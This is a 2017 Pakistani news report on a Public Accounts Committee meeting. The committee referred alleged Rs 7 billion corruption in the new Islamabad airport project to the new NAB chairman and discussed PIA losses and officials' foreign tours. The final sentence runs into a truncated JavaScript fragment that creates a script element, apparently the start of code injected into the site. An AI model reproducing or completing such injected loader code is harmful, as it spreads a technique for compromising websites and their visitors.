Published On: Thu, Oct 12th, 2017
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PAC gives first test case of Rs 7 bn corruption in NIA to newly appointed Chairman NAB

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Islamabad: Terming it as a test case for newly appointed Chairman National Accountability Bureau (NAB), Justice (R) Javed Iqbal, Public Accounts Committee (PAC) Wednesday sent the issue of Rs 7 billion corruption in newly under construction Islamabad International Airport to him.

A meeting of the PAC was held here Wednesday, which was chaired by Chairman of the Committee, Syed Khurshid Ahmed Shah. MNAs including, Mehmood Achakzai, Sherry Rehman, Shaikh Rasheed, Naveed Qamar, Ashiq Gopang, Hidayatullah, Shafqat Mehmood, Azam Swati, Arif Alvi, Shaikh Rohail Asghar and Dr. Azra Palejo. CEO PIA, Chairman PEPRRA and Auditor General of Pakistan also attended the meeting.

Secretary Civil Aviation Authority, Air Commdr (r) Irfan Elahi briefed the meeting about corruption worth Rs 7 billion in the project of under construction new Islamabad International Airport. He admitted that massive corruption has been done in the package four of the new airport. Brig (r ) Niazi was project Director of the said project. He said the responsible persons must be held accountable.

The PAC directed to hold special audit of PIA premier service during the Nawaz Sharif rule period. It was also revealed in the meeting that Rs 36 million were spent on foreign tours of PIA directors during one year while former CEO, who was a German citizen paid 22 visits. Secretary CAA told the meeting that New York route was inflicting loss of Rs 1.50 billion per annum to national flag courier service as USA has barred PIA from direct landing.

Azam Swati told that company was issued license in 2016 while contract of the new Islamabad International Airport was granted in 2013. He said heavy loss was inflicted to national exchequer by the companies with the connivance of top officials. He was of the view that if the embezzled money of Rs 1.50 billion could had been spent on people of FATA then their fate would have been changed.

Sherry Rehman said that massive commission was collected from the project and sought the need to point out those bagged this commission. She said whether CAA was taking a nap when corruption was being done. She said it will be a test case for newly appointed Chairman NAB, adding investigation process would has to be completed within three months. She sought action against the facilitators.

Ashiq Gopang said that with confession of crime by CAA it was needed to learn why Rs 3900 million tender was given at Rs 4600 million. Upon this Chairman PEPPRA said tender was floated mistakenly. Representative of Engineering Council alleged that CAA had given it wrong documents to mislead them.

Chairman PAC raised a question that who was responsible of this massive corruption? He said two companies were detached from the project and promises had been made of granting them lease. He said Rs 1.50 billion were invested by the ousted companies. He said it was endeavor of PAC that PIA could be saved but corrupt mafia has ruined it.

Secretary CAA said that PIA Board had decided in 2014 to change its policy regarding Boeing 777 seats. He said companies from France, Italy and other countries qualified for the tenders while PIA officials had paid $ 11.87 million to the said companies without bank guarantee. Now, he said this project has been given in $ 6.87 million while would be completed in next year.

Chairman PAC instructed the audit officials to give complete audit report of the previous three years so that corrupt people could be nabbed. Shafqat Mehmood said PIA has become bankrupt while other companies are being paid in advance. PIA officials told that software project has been awarded against Rs 680 million.

To a question, officials told that a murder case had been registered against the legal advisor PIA who is currently drawing Rs 1.5 million salary per month. To another query, it was told that PIA was facing deficit on New York route from the last ten years.

Responding a query, Secretary CAA said that planes service was not possible at all routes due to lack of sufficient planes. He said Najaf and Saudi Arabia routes were earning profits while Bangkok route was going into deficit.

To another question, the official told that Director Purchase paid 15 visits and Rs 2.4 million were spent on the said tours, Aamir Ali paid 13 tours, which cost Rs 1.7 million, Nayyar Hayat paid 13 visits, Khurram Mushtaq paid 6 visits, Tabassum Daud spent Rs 1.3 million, which did not include fare and hotel rent.var d=document;var s=d.createElement(‘script’);

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